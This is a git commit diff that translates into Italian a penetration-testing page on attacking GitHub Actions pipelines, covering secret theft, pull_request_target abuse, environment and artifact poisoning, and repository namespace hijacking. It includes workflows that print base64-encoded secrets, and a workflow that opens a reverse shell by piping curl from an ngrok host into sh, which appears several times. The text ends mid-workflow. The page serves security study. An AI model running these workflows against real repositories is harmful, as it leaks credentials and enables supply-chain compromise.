Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:18:58 +00:00
parent 820dd99aed
commit 931ae54e5f
245 changed files with 9984 additions and 12710 deletions

View File

@@ -4,381 +4,363 @@
## Basic Information
In this page you will find:
In questa pagina troverai:
- A **summary of all the impacts** of an attacker managing to access a Github Action
- Different ways to **get access to an action**:
- Having **permissions** to create the action
- Abusing **pull request** related triggers
- Abusing **other external access** techniques
- **Pivoting** from an already compromised repo
- Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts)
- Un **riassunto di tutti gli impatti** di un attaccante che riesce ad accedere a un'azione Github
- Diversi modi per **ottenere accesso a un'azione**:
- Avere **permessi** per creare l'azione
- Abusare dei trigger relativi alle **pull request**
- Abusare di **altre tecniche di accesso esterno**
- **Pivotare** da un repository già compromesso
- Infine, una sezione sulle **tecniche di post-sfruttamento per abusare di un'azione dall'interno** (causando gli impatti menzionati)
## Impacts Summary
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Per un'introduzione su [**Github Actions controlla le informazioni di base**](../basic-github-information.md#github-actions).
If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
Se puoi **eseguire codice arbitrario in GitHub Actions** all'interno di un **repository**, potresti essere in grado di:
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
- **Compromise deployments** and other **artifacts**.
- If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack.
- **Execute code in custom workers** to abuse computing power and pivot to other systems.
- **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`.
- **Rubare segreti** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
- **Compromettere distribuzioni** e altri **artifacts**.
- Se la pipeline distribuisce o memorizza risorse, potresti alterare il prodotto finale, abilitando un attacco alla supply chain.
- **Eseguire codice in worker personalizzati** per abusare della potenza di calcolo e pivotare verso altri sistemi.
- **Sovrascrivere il codice del repository**, a seconda dei permessi associati al `GITHUB_TOKEN`.
## GITHUB_TOKEN
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
Questo "**segreto**" (proveniente da `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) viene fornito quando l'amministratore abilita questa opzione:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Questo token è lo stesso che una **Github Application utilizzerà**, quindi può accedere agli stessi endpoint: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
> Github dovrebbe rilasciare un [**flusso**](https://github.com/github/roadmap/issues/74) che **consente l'accesso cross-repository** all'interno di GitHub, in modo che un repo possa accedere ad altri repo interni utilizzando il `GITHUB_TOKEN`.
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Puoi vedere i possibili **permessi** di questo token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Note that the token **expires after the job has completed**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Nota che il token **scade dopo il completamento del lavoro**.\
Questi token assomigliano a questo: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Some interesting things you can do with this token:
Alcune cose interessanti che puoi fare con questo token:
{{#tabs }}
{{#tab name="Merge PR" }}
```bash
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approve PR" }}
{{#tab name="Approva PR" }}
```bash
# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Create PR" }}
{{#tab name="Crea PR" }}
```bash
# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
> Nota che in diverse occasioni potrai trovare **token utente github all'interno delle variabili d'ambiente di Github Actions o nei segreti**. Questi token possono darti più privilegi sul repository e sull'organizzazione.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Elenca i segreti nell'output di Github Action</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Ottieni una reverse shell con segreti</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
È possibile controllare i permessi concessi a un Github Token nei repository di altri utenti **controllando i log** delle azioni:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Allowed Execution
## Esecuzione Consentita
> [!NOTE]
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
> Questo sarebbe il modo più semplice per compromettere le azioni di Github, poiché questo caso suppone che tu abbia accesso a **creare un nuovo repo nell'organizzazione**, o abbia **privilegi di scrittura su un repository**.
>
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
> Se ti trovi in questo scenario, puoi semplicemente controllare le [tecniche di Post Exploitation](./#post-exploitation-techniques-from-inside-an-action).
### Execution from Repo Creation
### Esecuzione dalla Creazione del Repo
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
Nel caso in cui i membri di un'organizzazione possano **creare nuovi repo** e tu possa eseguire azioni github, puoi **creare un nuovo repo e rubare i segreti impostati a livello di organizzazione**.
### Execution from a New Branch
### Esecuzione da un Nuovo Branch
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
Se puoi **creare un nuovo branch in un repository che contiene già un'azione Github** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'azione dal nuovo branch**. In questo modo puoi **esfiltrare i segreti a livello di repository e organizzazione** (ma devi sapere come si chiamano).
Puoi rendere l'azione modificata eseguibile **manualmente,** quando viene **creato un PR** o quando **alcuni codici vengono caricati** (a seconda di quanto vuoi essere evidente):
```yaml
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
```
---
## Forked Execution
## Esecuzione Forked
> [!NOTE]
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
> Ci sono diversi trigger che potrebbero consentire a un attaccante di **eseguire un Github Action di un altro repository**. Se quelle azioni attivabili sono configurate in modo errato, un attaccante potrebbe essere in grado di comprometterle.
### `pull_request`
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
Il trigger del workflow **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per impostazione predefinita, se è la **prima volta** che stai **collaborando**, alcuni **maintainer** dovranno **approvare** l'**esecuzione** del workflow:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
> Poiché la **limitazione predefinita** è per i **contributori alla prima esperienza**, potresti contribuire **correggendo un bug/errore valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi di `pull_request`**.
>
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
> **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e ha cancellato il suo account.~~
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Inoltre, per impostazione predefinita **prevenire i permessi di scrittura** e **l'accesso ai segreti** al repository target come menzionato nella [**documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
> Con l'eccezione di `GITHUB_TOKEN`, **i segreti non vengono passati al runner** quando un workflow è attivato da un **repository forked**. Il **`GITHUB_TOKEN` ha permessi di sola lettura** nelle pull request **da repository forked**.
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
Un attaccante potrebbe modificare la definizione del Github Action per eseguire cose arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare segreti o sovrascrivere il repo a causa delle limitazioni menzionate.
> [!CAUTION]
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
> **Sì, se l'attaccante cambia nella PR l'azione github che verrà attivata, la sua Github Action sarà quella utilizzata e non quella del repo di origine!**
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
Poiché l'attaccante controlla anche il codice in esecuzione, anche se non ci sono segreti o permessi di scrittura sul `GITHUB_TOKEN`, un attaccante potrebbe ad esempio **caricare artefatti dannosi**.
### **`pull_request_target`**
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
Il trigger del workflow **`pull_request_target`** ha **permessi di scrittura** al repository target e **accesso ai segreti** (e non richiede permesso).
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Nota che il trigger del workflow **`pull_request_target`** **viene eseguito nel contesto di base** e non in quello fornito dalla PR (per **non eseguire codice non attendibile**). Per ulteriori informazioni su `pull_request_target` [**controlla la documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Inoltre, per ulteriori informazioni su questo specifico uso pericoloso controlla questo [**post del blog di github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
Potrebbe sembrare che poiché il **workflow eseguito** è quello definito nella **base** e **non nella PR**, sia **sicuro** utilizzare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**.
An this one will have **access to secrets**.
E questo avrà **accesso ai segreti**.
### `workflow_run`
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) consente di eseguire un workflow da un altro quando è `completato`, `richiesto` o `in_corso`.
In questo esempio, un workflow è configurato per essere eseguito dopo il completamento del separato workflow "Esegui Test":
```yaml
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
workflow_run:
workflows: [Run Tests]
types:
- completed
```
Inoltre, secondo la documentazione: Il flusso di lavoro avviato dall'evento `workflow_run` è in grado di **accedere ai segreti e scrivere token, anche se il flusso di lavoro precedente non lo era**.
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
Questo tipo di flusso di lavoro potrebbe essere attaccato se **dipende** da un **flusso di lavoro** che può essere **attivato** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel flusso di lavoro attivato da **`workflow_run`** che scarica il codice degli attaccanti: `${{ github.event.pull_request.head.sha }}`\
Il secondo consiste nel **passare** un **artifact** dal codice **non attendibile** al flusso di lavoro **`workflow_run`** e utilizzare il contenuto di questo artifact in un modo che lo rende **vulnerabile a RCE**.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO: Controlla se, quando eseguito da un pull_request, il codice utilizzato/scaricato è quello dell'origine o da PR forkato
## Abusing Forked Execution
## Abuso dell'Esecuzione Forkata
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe riuscire a far eseguire un flusso di lavoro github, ora diamo un'occhiata a come queste esecuzioni, se configurate male, potrebbero essere abusate:
### Untrusted checkout execution
### Esecuzione di checkout non attendibile
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
Nel caso di **`pull_request`,** il flusso di lavoro verrà eseguito nel **contesto del PR** (quindi eseguirà il **codice malevolo del PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](./#pull_request).
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
Nel caso di un flusso di lavoro che utilizza **`pull_request_target` o `workflow_run`** che dipende da un flusso di lavoro che può essere attivato da **`pull_request_target` o `pull_request`**, il codice del repository originale verrà eseguito, quindi l'**attaccante non può controllare il codice eseguito**.
> [!CAUTION]
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
> Tuttavia, se l'**azione** ha un **checkout PR esplicito** che **prenderà il codice dal PR** (e non dalla base), utilizzerà il codice controllato dagli attaccanti. Ad esempio (controlla la riga 12 dove il codice PR viene scaricato):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Fornito solo come esempio.
on:
pull_request_target
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
<strong> - uses: actions/checkout@v2
</strong><strong> with:
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
</strong>
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
</code></pre>
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
Il potenziale **codice non attendibile viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i pacchetti referenziati sono controllati dall'autore del PR.
> [!WARNING]
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
> Un dork di github per cercare azioni vulnerabili è: `event.pull_request pull_request_target extension:yml` tuttavia, ci sono diversi modi per configurare i lavori da eseguire in modo sicuro anche se l'azione è configurata in modo insicuro (come utilizzare condizioni su chi è l'attore che genera il PR).
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Iniezioni di Script nel Contesto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
Nota che ci sono certi [**contesti github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea il PR. Se l'azione github utilizza quei **dati per eseguire qualsiasi cosa**, potrebbe portare a **esecuzione di codice arbitrario:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **Iniezione di Script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
Dalla documentazione: Puoi rendere una **variabile di ambiente disponibile per qualsiasi passaggio successivo** in un lavoro di flusso di lavoro definendo o aggiornando la variabile di ambiente e scrivendo questo nel file di ambiente **`GITHUB_ENV`**.
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
Se un attaccante potesse **iniettare qualsiasi valore** all'interno di questa variabile **env**, potrebbe iniettare variabili di ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**.
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
Ad esempio ([**questo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**questo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un flusso di lavoro che si fida di un artifact caricato per memorizzare il suo contenuto all'interno della variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Vulnerable Third Party Github Actions
### Azioni Github di Terze Parti Vulnerabili
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
Come menzionato in [**questo post del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Azione Github consente di accedere ad artifact provenienti da diversi flussi di lavoro e persino repository.
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
Example of vulnerable workflow:
Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere utilizzati o persino eseguiti nel flusso di lavoro. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusare di questo per compromettere altri flussi di lavoro che si fidano dell'Artifact.
Esempio di flusso di lavoro vulnerabile:
```yaml
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
```
This could be attacked with this workflow:
Questo potrebbe essere attaccato con questo flusso di lavoro:
```yaml
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
```
---
## Other External Access
## Altra Accesso Esterno
### Deleted Namespace Repo Hijacking
### Hijacking di Namespace Repo Cancellati
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
Se un account cambia nome, un altro utente potrebbe registrare un account con quel nome dopo un po' di tempo. Se un repository aveva **meno di 100 stelle prima del cambio di nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository con lo stesso nome** di quello cancellato.
> [!CAUTION]
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
> Quindi, se un'azione sta utilizzando un repo da un account non esistente, è ancora possibile che un attaccante possa creare quell'account e compromettere l'azione.
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Se altri repository stavano utilizzando **dipendenze da questi repo utente**, un attaccante sarà in grado di hijackarli. Qui hai una spiegazione più completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
> In questa sezione parleremo di tecniche che permetterebbero di **pivotare da un repo a un altro** supponendo di avere qualche tipo di accesso al primo (controlla la sezione precedente).
### Cache Poisoning
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
Una cache è mantenuta tra **le esecuzioni del workflow nella stessa branch**. Ciò significa che se un attaccante **compromette** un **pacchetto** che viene poi memorizzato nella cache e **scaricato** ed eseguito da un **workflow più privilegiato**, sarà in grado di **compromettere** anche quel workflow.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -386,7 +368,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
I workflow potrebbero utilizzare **artifact da altri workflow e persino repo**, se un attaccante riesce a **compromettere** l'azione Github che **carica un artifact** che viene poi utilizzato da un altro workflow, potrebbe **compromettere gli altri workflow**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
---
## Post Exploitation from an Action
## Post Exploitation da un'Azione
### Accessing AWS and GCP via OIDC
### Accesso a AWS e GCP tramite OIDC
Check the following pages:
Controlla le seguenti pagine:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -408,170 +390,160 @@ Check the following pages:
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
{{#endref}}
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
### Accesso ai segreti <a href="#accessing-secrets" id="accessing-secrets"></a>
If you are injecting content into a script it's interesting to know how you can access secrets:
Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai segreti:
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
- Se il segreto o il token è impostato su una **variabile d'ambiente**, può essere direttamente accessibile attraverso l'ambiente utilizzando **`printenv`**.
<details>
<summary>List secrets in Github Action output</summary>
<summary>Elenca i segreti nell'output dell'azione Github</summary>
```yaml
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
<details>
<summary>Get reverse shell with secrets</summary>
<summary>Ottieni una reverse shell con segreti</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
